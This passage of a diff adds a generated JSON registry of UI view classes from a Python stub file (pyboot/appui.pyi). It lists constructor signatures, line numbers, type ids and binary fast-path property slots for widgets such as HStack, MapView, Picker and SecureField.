"aurora_slots": [], + "auto_register": false, + "bridge_type": "grid_row", + "call_signature": "GridRow(content: Optional[List[View]] = None, alignment: Optional[str] = None)", + "class_signature": "class GridRow(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[List[View]] = None, alignment: Optional[str] = None) -> None: ...", + "line": 1477, + "methods": { + "__init__": { + "line": 1479, + "return_type": "None", + "signature": "def __init__(self, content: Optional[List[View]] = None, alignment: Optional[str] = None) -> None: ..." + } + }, + "public_name": "GridRow", + "semantic_domain": "grid", + "source_file": "pyboot/appui.pyi", + "type_id": 138733321 + }, + "Group": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "group", + "call_signature": "Group(content: Optional[List[View]] = None)", + "class_signature": "class Group(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[List[View]] = None) -> None: ...", + "line": 1496, + "methods": { + "__init__": { + "line": 1498, + "return_type": "None", + "signature": "def __init__(self, content: Optional[List[View]] = None) -> None: ..." + } + }, + "public_name": "Group", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 2064949621 + }, + "GroupBox": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "group_box", + "call_signature": "GroupBox(label: Optional[str] = None, content: Optional[ViewChild] = None, children: Optional[List[View]] = None)", + "class_signature": "class GroupBox(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, label: Optional[str] = None, content: Optional[ViewChild] = None, children: Optional[List[View]] = None) -> None: ...", + "line": 1611, + "methods": { + "__init__": { + "line": 1613, + "return_type": "None", + "signature": "def __init__(self, label: Optional[str] = None, content: Optional[ViewChild] = None, children: Optional[List[View]] = None) -> None: ..." + } + }, + "public_name": "GroupBox", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1163447032 + }, + "HStack": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "hstack", + "call_signature": "HStack(content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)", + "class_signature": "class HStack(_ContainerView):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ...", + "line": 1404, + "methods": { + "__init__": { + "line": 1406, + "return_type": "None", + "signature": "def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ..." + } + }, + "public_name": "HStack", + "semantic_domain": "stack", + "source_file": "pyboot/appui.pyi", + "type_id": 421054346 + }, + "Image": { + "aurora_slots": [ + { + "attr": "_system_name", + "name": "system_name", + "prop_id": 1536, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "image", + "call_signature": "Image(name: Optional[str] = None, system_name: Optional[str] = None, systemName: Optional[str] = None)", + "class_signature": "class Image(View):", + "domain": "media", + "initializer_signature": "def __init__(self, name: Optional[str] = None, system_name: Optional[str] = None, systemName: Optional[str] = None) -> None: ...", + "line": 1087, + "methods": { + "__init__": { + "line": 1094, + "return_type": "None", + "signature": "def __init__(self, name: Optional[str] = None, system_name: Optional[str] = None, systemName: Optional[str] = None) -> None: ..." + }, + "aurora_set_system_name": { + "line": 1096, + "return_type": "None", + "signature": "def aurora_set_system_name(self, system_name: Optional[str]) -> None: \"\"\"Update a system-symbol image via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Image", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1407836655 + }, + "InlinePickerStyle": { + "aurora_slots": [ + { + "attr": "_selection", + "name": "selection", + "prop_id": 4096, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "inline_picker", + "call_signature": "InlinePickerStyle(options: Optional[List[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class InlinePickerStyle(View):", + "domain": "control", + "initializer_signature": "def __init__(self, options: Optional[List[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1275, + "methods": { + "__init__": { + "line": 1277, + "return_type": "None", + "signature": "def __init__(self, options: Optional[List[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "InlinePickerStyle", + "semantic_domain": "selection", + "source_file": "pyboot/appui.pyi", + "type_id": 1835882349 + }, + "Label": { + "aurora_slots": [ + { + "attr": "_title", + "name": "title", + "prop_id": 2304, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "label", + "call_signature": "Label(title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None)", + "class_signature": "class Label(View):", + "domain": "text", + "initializer_signature": "def __init__(self, title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None) -> None: ...", + "line": 1056, + "methods": { + "__init__": { + "line": 1064, + "return_type": "None", + "signature": "def __init__(self, title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None) -> None: ..." + }, + "aurora_set_title": { + "line": 1066, + "return_type": "None", + "signature": "def aurora_set_title(self, title: str) -> None: \"\"\"Update label title text via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Label", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 410236248 + }, + "LabeledContent": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "labeled_content", + "call_signature": "LabeledContent(label: str = '', value: Optional[str] = None, content: Optional[View] = None)", + "class_signature": "class LabeledContent(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, label: str = '', value: Optional[str] = None, content: Optional[View] = None) -> None: ...", + "line": 1623, + "methods": { + "__init__": { + "line": 1625, + "return_type": "None", + "signature": "def __init__(self, label: str = '', value: Optional[str] = None, content: Optional[View] = None) -> None: ..." + } + }, + "public_name": "LabeledContent", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1823249425 + }, + "LazyHGrid": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "lazy_hgrid", + "call_signature": "LazyHGrid(rows: Optional[List[dict]] = None, content: Optional[List[View]] = None, spacing: Optional[float] = None, children: Optional[List[View]] = None)", + "class_signature": "class LazyHGrid(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, rows: Optional[List[dict]] = None, content: Optional[List[View]] = None, spacing: Optional[float] = None, children: Optional[List[View]] = None) -> None: ...", + "line": 1464, + "methods": { + "__init__": { + "line": 1466, + "return_type": "None", + "signature": "def __init__(self, rows: Optional[List[dict]] = None, content: Optional[List[View]] = None, spacing: Optional[float] = None, children: Optional[List[View]] = None) -> None: ..." + } + }, + "public_name": "LazyHGrid", + "semantic_domain": "grid", + "source_file": "pyboot/appui.pyi", + "type_id": 539658276 + }, + "LazyHStack": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "lazy_hstack", + "call_signature": "LazyHStack(content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)", + "class_signature": "class LazyHStack(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ...", + "line": 1418, + "methods": { + "__init__": { + "line": 1420, + "return_type": "None", + "signature": "def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ..." + } + }, + "public_name": "LazyHStack", + "semantic_domain": "stack", + "source_file": "pyboot/appui.pyi", + "type_id": 1159213285 + }, + "LazyVGrid": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "lazy_vgrid", + "call_signature": "LazyVGrid(columns: Optional[List[dict]] = None, content: Optional[List[View]] = None, spacing: Optional[float] = None, children: Optional[List[View]] = None)", + "class_signature": "class LazyVGrid(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, columns: Optional[List[dict]] = None, content: Optional[List[View]] = None, spacing: Optional[float] = None, children: Optional[List[View]] = None) -> None: ...", + "line": 1454, + "methods": { + "__init__": { + "line": 1461, + "return_type": "None", + "signature": "def __init__(self, columns: Optional[List[dict]] = None, content: Optional[List[View]] = None, spacing: Optional[float] = None, children: Optional[List[View]] = None) -> None: ..." + } + }, + "public_name": "LazyVGrid", + "semantic_domain": "grid", + "source_file": "pyboot/appui.pyi", + "type_id": 2147131847 + }, + "LazyVStack": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "lazy_vstack", + "call_signature": "LazyVStack(content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)", + "class_signature": "class LazyVStack(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ...", + "line": 1413, + "methods": { + "__init__": { + "line": 1415, + "return_type": "None", + "signature": "def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ..." + } + }, + "public_name": "LazyVStack", + "semantic_domain": "stack", + "source_file": "pyboot/appui.pyi", + "type_id": 2093241102 + }, + "Link": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "link", + "call_signature": "Link(title: str = '', url: str = '')", + "class_signature": "class Link(View):", + "domain": "control", + "initializer_signature": "def __init__(self, title: str = '', url: str = '') -> None: ...", + "line": 1657, + "methods": { + "__init__": { + "line": 1659, + "return_type": "None", + "signature": "def __init__(self, title: str = '', url: str = '') -> None: ..." + } + }, + "public_name": "Link", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1809950651 + }, + "List": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "list", + "call_signature": "List(content: Optional[List[View]] = None)", + "class_signature": "class List(_ContainerView):", + "domain": "collection", + "initializer_signature": "def __init__(self, content: Optional[List[View]] = None) -> None: ...", + "line": 1576, + "methods": { + "__init__": { + "line": 1578, + "return_type": "None", + "signature": "def __init__(self, content: Optional[List[View]] = None) -> None: ..." + } + }, + "public_name": "List", + "semantic_domain": "list", + "source_file": "pyboot/appui.pyi", + "type_id": 428197458 + }, + "MapView": { + "aurora_slots": [ + { + "attr": "_center", + "name": "center", + "prop_id": 3584, + "python_descriptor": false, + "value_type": "latlon" + }, + { + "attr": "_span", + "name": "span", + "prop_id": 3585, + "python_descriptor": false, + "value_type": "double" + } + ], + "auto_register": true, + "bridge_type": "map_view", + "call_signature": "MapView(latitude: float = 37.7749, longitude: float = -122.4194, span: float = 0.05, markers: Optional[List[Dict[str, Any]]] = None, map_style: str = 'automatic', mapStyle: Optional[str] = None)", + "class_signature": "class MapView(View):", + "domain": "media", + "initializer_signature": "def __init__(self, latitude: float = 37.7749, longitude: float = -122.4194, span: float = 0.05, markers: Optional[List[Dict[str, Any]]] = None, map_style: str = 'automatic', mapStyle: Optional[str] = None) -> None: ...", + "line": 1719, + "methods": { + "__init__": { + "line": 1728, + "return_type": "None", + "signature": "def __init__(self, latitude: float = 37.7749, longitude: float = -122.4194, span: float = 0.05, markers: Optional[List[Dict[str, Any]]] = None, map_style: str = 'automatic', mapStyle: Optional[str] = None) -> None: ..." + }, + "aurora_set_center": { + "line": 1732, + "return_type": "None", + "signature": "def aurora_set_center(self, latitude: float, longitude: float) -> None: \"\"\"Update map center via Aurora binary fast-path.\"\"\" ..." + }, + "aurora_set_span": { + "line": 1735, + "return_type": "None", + "signature": "def aurora_set_span(self, span: float) -> None: \"\"\"Update map span via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "MapView", + "semantic_domain": "map", + "source_file": "pyboot/appui.pyi", + "type_id": 171762681 + }, + "Menu": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "menu", + "call_signature": "Menu(title: str = '', content: Optional[List[View]] = None, children: Optional[List[View]] = None)", + "class_signature": "class Menu(View):", + "domain": "control", + "initializer_signature": "def __init__(self, title: str = '', content: Optional[List[View]] = None, children: Optional[List[View]] = None) -> None: ...", + "line": 1307, + "methods": { + "__init__": { + "line": 1317, + "return_type": "None", + "signature": "def __init__(self, title: str = '', content: Optional[List[View]] = None, children: Optional[List[View]] = None) -> None: ..." + } + }, + "public_name": "Menu", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 541590745 + }, + "MultiDatePicker": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "multi_date_picker", + "call_signature": "MultiDatePicker(title: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class MultiDatePicker(View):", + "domain": "control", + "initializer_signature": "def __init__(self, title: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1296, + "methods": { + "__init__": { + "line": 1298, + "return_type": "None", + "signature": "def __init__(self, title: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "MultiDatePicker", + "semantic_domain": "date_input", + "source_file": "pyboot/appui.pyi", + "type_id": 429008949 + }, + "NavigationLink": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "navigation_link", + "call_signature": "NavigationLink(title: Optional[str] = None, destination: Optional[View] = None, label: Optional[View] = None)", + "class_signature": "class NavigationLink(View):", + "domain": "navigation", + "initializer_signature": "def __init__(self, title: Optional[str] = None, destination: Optional[View] = None, label: Optional[View] = None) -> None: ...", + "line": 1531, + "methods": { + "__init__": { + "line": 1533, + "return_type": "None", + "signature": "def __init__(self, title: Optional[str] = None, destination: Optional[View] = None, label: Optional[View] = None) -> None: ..." + } + }, + "public_name": "NavigationLink", + "semantic_domain": "navigation", + "source_file": "pyboot/appui.pyi", + "type_id": 1899247870 + }, + "NavigationSplitView": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "navigation_split_view", + "call_signature": "NavigationSplitView(sidebar: Optional[View] = None, detail: Optional[View] = None, supplementary: Optional[View] = None, column_visibility: str = 'all')", + "class_signature": "class NavigationSplitView(View):", + "domain": "navigation", + "initializer_signature": "def __init__(self, sidebar: Optional[View] = None, detail: Optional[View] = None, supplementary: Optional[View] = None, column_visibility: str = 'all') -> None: ...", + "line": 1536, + "methods": { + "__init__": { + "line": 1541, + "return_type": "None", + "signature": "def __init__(self, sidebar: Optional[View] = None, detail: Optional[View] = None, supplementary: Optional[View] = None, column_visibility: str = 'all') -> None: ..." + } + }, + "public_name": "NavigationSplitView", + "semantic_domain": "navigation", + "source_file": "pyboot/appui.pyi", + "type_id": 846268376 + }, + "NavigationStack": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "navigation_stack", + "call_signature": "NavigationStack(content: Optional[View] = None, path: Optional[NavigationPath] = None, destinations: Optional[Dict[str, Callable]] = None)", + "class_signature": "class NavigationStack(View):", + "domain": "navigation", + "initializer_signature": "def __init__(self, content: Optional[View] = None, path: Optional[NavigationPath] = None, destinations: Optional[Dict[str, Callable]] = None) -> None: ...", + "line": 1514, + "methods": { + "__init__": { + "line": 1525, + "return_type": "None", + "signature": "def __init__(self, content: Optional[View] = None, path: Optional[NavigationPath] = None, destinations: Optional[Dict[str, Callable]] = None) -> None: ..." + } + }, + "public_name": "NavigationStack", + "semantic_domain": "navigation", + "source_file": "pyboot/appui.pyi", + "type_id": 1372651098 + }, + "Overlay": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "overlay", + "call_signature": "Overlay(content: Optional[View] = None, overlay: Optional[View] = None, alignment: str = 'center')", + "class_signature": "class Overlay(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[View] = None, overlay: Optional[View] = None, alignment: str = 'center') -> None: ...", + "line": 1500, + "methods": { + "__init__": { + "line": 1502, + "return_type": "None", + "signature": "def __init__(self, content: Optional[View] = None, overlay: Optional[View] = None, alignment: str = 'center') -> None: ..." + } + }, + "public_name": "Overlay", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 224006693 + }, + "PasteButton": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "paste_button", + "call_signature": "PasteButton(on_paste: Optional[Callable] = None, onPaste: Optional[Callable] = None)", + "class_signature": "class PasteButton(View):", + "domain": "control", + "initializer_signature": "def __init__(self, on_paste: Optional[Callable] = None, onPaste: Optional[Callable] = None) -> None: ...", + "line": 1320, + "methods": { + "__init__": { + "line": 1322, + "return_type": "None", + "signature": "def __init__(self, on_paste: Optional[Callable] = None, onPaste: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "PasteButton", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 973355598 + }, + "Path": { + "aurora_slots": [ + { + "attr": "_commands", + "name": "commands", + "prop_id": 3072, + "python_descriptor": false, + "value_type": "json" + } + ], + "auto_register": true, + "bridge_type": "path", + "call_signature": "Path(commands: Optional[List[Dict[str, Any]]] = None, fill: Optional[ColorLike] = None, stroke: Optional[ColorLike] = None, line_width: Optional[float] = None)", + "class_signature": "class Path(View):", + "domain": "drawing", + "initializer_signature": "def __init__(self, commands: Optional[List[Dict[str, Any]]] = None, fill: Optional[ColorLike] = None, stroke: Optional[ColorLike] = None, line_width: Optional[float] = None) -> None: ...", + "line": 1895, + "methods": { + "__init__": { + "line": 1901, + "return_type": "None", + "signature": "def __init__(self, commands: Optional[List[Dict[str, Any]]] = None, fill: Optional[ColorLike] = None, stroke: Optional[ColorLike] = None, line_width: Optional[float] = None) -> None: ..." + }, + "aurora_set_commands": { + "line": 1904, + "return_type": "None", + "signature": "def aurora_set_commands(self, commands: List[Dict[str, Any]]) -> None: \"\"\"Update path commands via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Path", + "semantic_domain": "drawing", + "source_file": "pyboot/appui.pyi", + "type_id": 1444525381 + }, + "PhotoPicker": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "photo_picker", + "call_signature": "PhotoPicker(selection_limit: int = 1, filter: str = 'images', on_picked: Optional[Callable] = None, label: Optional[View] = None, selectionLimit: Optional[int] = None, onPicked: Optional[Callable] = None, **kwargs: Any)", + "class_signature": "class PhotoPicker(View):", + "domain": "media", + "initializer_signature": "def __init__(self, selection_limit: int = 1, filter: str = 'images', on_picked: Optional[Callable] = None, label: Optional[View] = None, selectionLimit: Optional[int] = None, onPicked: Optional[Callable] = None, **kwargs: Any) -> None: ...", + "line": 1341, + "methods": { + "__init__": { + "line": 1346, + "return_type": "None", + "signature": "def __init__(self, selection_limit: int = 1, filter: str = 'images', on_picked: Optional[Callable] = None, label: Optional[View] = None, selectionLimit: Optional[int] = None, onPicked: Optional[Callable] = None, **kwargs: Any) -> None: ..." + } + }, + "public_name": "PhotoPicker", + "semantic_domain": "media_picker", + "source_file": "pyboot/appui.pyi", + "type_id": 844079064 + }, + "Picker": { + "aurora_slots": [ + { + "attr": "_selection", + "name": "selection", + "prop_id": 4096, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "picker", + "call_signature": "Picker(label: str = '', selection: Optional[str] = None, options: Optional[List[str]] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class Picker(View):", + "domain": "control", + "initializer_signature": "def __init__(self, label: str = '', selection: Optional[str] = None, options: Optional[List[str]] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1261, + "methods": { + "__init__": { + "line": 1265, + "return_type": "None", + "signature": "def __init__(self, label: str = '', selection: Optional[str] = None, options: Optional[List[str]] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "Picker", + "semantic_domain": "selection", + "source_file": "pyboot/appui.pyi", + "type_id": 782577129 + }, + "Popover": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "popover", + "call_signature": "Popover(is_presented: bool = False, content: Optional[View] = None, trigger: Optional[View] = None, isPresented: Optional[bool] = None)", + "class_signature": "class Popover(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, is_presented: bool = False, content: Optional[View] = None, trigger: Optional[View] = None, isPresented: Optional[bool] = None) -> None: ...", + "line": 1697, + "methods": { + "__init__": { + "line": 1699, + "return_type": "None", + "signature": "def __init__(self, is_presented: bool = False, content: Optional[View] = None, trigger: Optional[View] = None, isPresented: Optional[bool] = None) -> None: ..." + } + }, + "public_name": "Popover", + "semantic_domain": "presentation", + "source_file": "pyboot/appui.pyi", + "type_id": 1349058763 + }, + "ProgressView": { + "aurora_slots": [ + { + "attr": "_value", + "name": "value", + "prop_id": 1280, + "python_descriptor": true, + "value_type": "double" + } + ], + "auto_register": true, + "bridge_type": "progress_view", + "call_signature": "ProgressView(label: Optional[str] = None, value: Optional[float] = None, total: float = 1.0)", + "class_signature": "class ProgressView(View):", + "domain": "feedback", + "initializer_signature": "def __init__(self, label: Optional[str] = None, value: Optional[float] = None, total: float = 1.0) -> None: ...", + "line": 1646, + "methods": { + "__init__": { + "line": 1651, + "return_type": "None", + "signature": "def __init__(self, label: Optional[str] = None, value: Optional[float] = None, total: float = 1.0) -> None: ..." + }, + "aurora_set_value": { + "line": 1653, + "return_type": "None", + "signature": "def aurora_set_value(self, value: Optional[float]) -> None: \"\"\"Update progress value via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "ProgressView", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 787699673 + }, + "Rectangle": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "rectangle", + "call_signature": "Rectangle()", + "class_signature": "class Rectangle(_Shape):", + "domain": "shape", + "initializer_signature": "def __init__(self) -> None: ...", + "line": 1922, + "methods": { + "__init__": { + "line": 1924, + "return_type": "None", + "signature": "def __init__(self) -> None: ..." + } + }, + "public_name": "Rectangle", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 41586722 + }, + "Refreshable": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "refreshable", + "call_signature": "Refreshable(on_refresh: Optional[Callable] = None, onRefresh: Optional[Callable] = None, content: Optional[ViewChild] = None)", + "class_signature": "class Refreshable(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, on_refresh: Optional[Callable] = None, onRefresh: Optional[Callable] = None, content: Optional[ViewChild] = None) -> None: ...", + "line": 1703, + "methods": { + "__init__": { + "line": 1705, + "return_type": "None", + "signature": "def __init__(self, on_refresh: Optional[Callable] = None, onRefresh: Optional[Callable] = None, content: Optional[ViewChild] = None) -> None: ..." + } + }, + "public_name": "Refreshable", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1350456458 + }, + "RenameButton": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "rename_button", + "call_signature": "RenameButton(action: Optional[Callable] = None)", + "class_signature": "class RenameButton(View):", + "domain": "control", + "initializer_signature": "def __init__(self, action: Optional[Callable] = None) -> None: ...", + "line": 1325, + "methods": { + "__init__": { + "line": 1327, + "return_type": "None", + "signature": "def __init__(self, action: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "RenameButton", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1649658199 + }, + "RoundedRectangle": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "rounded_rectangle", + "call_signature": "RoundedRectangle(corner_radius: float = 10, cornerRadius: Optional[float] = None)", + "class_signature": "class RoundedRectangle(_Shape):", + "domain": "shape", + "initializer_signature": "def __init__(self, corner_radius: float = 10, cornerRadius: Optional[float] = None) -> None: ...", + "line": 1926, + "methods": { + "__init__": { + "line": 1928, + "return_type": "None", + "signature": "def __init__(self, corner_radius: float = 10, cornerRadius: Optional[float] = None) -> None: ..." + } + }, + "public_name": "RoundedRectangle", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 219268132 + }, + "SafeAreaInset": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "safe_area_inset", + "call_signature": "SafeAreaInset(edge: str = 'bottom', content: Optional[View] = None)", + "class_signature": "class SafeAreaInset(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, edge: str = 'bottom', content: Optional[View] = None) -> None: ...", + "line": 1505, + "methods": { + "__init__": { + "line": 1507, + "return_type": "None", + "signature": "def __init__(self, edge: str = 'bottom', content: Optional[View] = None) -> None: ..." + } + }, + "public_name": "SafeAreaInset", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 712319002 + }, + "ScrollView": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "scroll_view", + "call_signature": "ScrollView(content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, showsIndicators: Optional[bool] = None)", + "class_signature": "class ScrollView(_ContainerView):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, showsIndicators: Optional[bool] = None) -> None: ...", + "line": 1423, + "methods": { + "__init__": { + "line": 1428, + "return_type": "None", + "signature": "def __init__(self, content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, showsIndicators: Optional[bool] = None) -> None: ..." + } + }, + "public_name": "ScrollView", + "semantic_domain": "scroll", + "source_file": "pyboot/appui.pyi", + "type_id": 495261511 + }, + "ScrollViewReader": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "scroll_view_reader", + "call_signature": "ScrollViewReader(content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, scroll_to: Optional[str] = None, anchor: str = 'top', showsIndicators: Optional[bool] = None, scrollTo: Optional[str] = None, children: Optional[ViewChild] = None)", + "class_signature": "class ScrollViewReader(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, scroll_to: Optional[str] = None, anchor: str = 'top', showsIndicators: Optional[bool] = None, scrollTo: Optional[str] = None, children: Optional[ViewChild] = None) -> None: ...", + "line": 1432, + "methods": { + "__init__": { + "line": 1439, + "return_type": "None", + "signature": "def __init__(self, content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, scroll_to: Optional[str] = None, anchor: str = 'top', showsIndicators: Optional[bool] = None, scrollTo: Optional[str] = None, children: Optional[ViewChild] = None) -> None: ..." + } + }, + "public_name": "ScrollViewReader", + "semantic_domain": "scroll", + "source_file": "pyboot/appui.pyi", + "type_id": 1896261579 + }, + "SearchField": { + "aurora_slots": [ + { + "attr": "_text", + "name": "text", + "prop_id": 512, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "search_field", + "call_signature": "SearchField(text: str = '', placeholder: str = 'Search', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None)", + "class_signature": "class SearchField(View):", + "domain": "control", + "initializer_signature": "def __init__(self, text: str = '', placeholder: str = 'Search', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> None: ...", + "line": 1202, + "methods": { + "__init__": { + "line": 1204, + "return_type": "None", + "signature": "def __init__(self, text: str = '', placeholder: str = 'Search', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "SearchField", + "semantic_domain": "text_input", + "source_file": "pyboot/appui.pyi", + "type_id": 1835148481 + }, + "Section": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "section", + "call_signature": "Section(content: Optional[ViewChild] = None, *, header: Optional[Union[str, View]] = None, footer: Optional[Union[str, View]] = None, children: Optional[ViewChild] = None)", + "class_signature": "class Section(_ContainerView):", + "domain": "collection", + "initializer_signature": "def __init__(self, content: Optional[ViewChild] = None, *, header: Optional[Union[str, View]] = None, footer: Optional[Union[str, View]] = None, children: Optional[ViewChild] = None) -> None: ...", + "line": 1602, + "methods": { + "__init__": { + "line": 1608, + "return_type": "None", + "signature": "def __init__(self, content: Optional[ViewChild] = None, *, header: Optional[Union[str, View]] = None, footer: Optional[Union[str, View]] = None, children: Optional[ViewChild] = None) -> None: ..." + } + }, + "public_name": "Section", + "semantic_domain": "section", + "source_file": "pyboot/appui.pyi", + "type_id": 433476724 + }, + "SecureField": { + "aurora_slots": [ + { + "attr": "_text", + "name": "text", + "prop_id": 512, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "secure_field", + "call_signature": "SecureField(placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None)", + "class_signature": "class SecureField(View):", + "domain": "control", + "initializer_signature": "def __init__(self, placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> None: ...", + "line": 1185, + "methods": { + "__init__": { + "line": 1187, + "return_type": "None", + "signature": "def __init__(self, placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "SecureField", + "semantic_domain": "text_input", + "source_file": "pyboot/appui.pyi", + "type_id": 1546701120 + }, + "SegmentedControl": { + "aurora_slots": [ + { + "attr": "_selection", + "name": "selection", + "prop_id": 4096, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "segmented_control", + "call_signature": "SegmentedControl(options: Optional[List[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class SegmentedControl(View):", + "domain": "control", + "initializer_signature": "def __init__(self, options: Optional[List[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1269, + "methods": { + "__init__": { + "line": 1271, + "return_type": "None", + "signature": "def __init__(self, options: Optional[List[str]] = None, selection: Optional[str] = None, 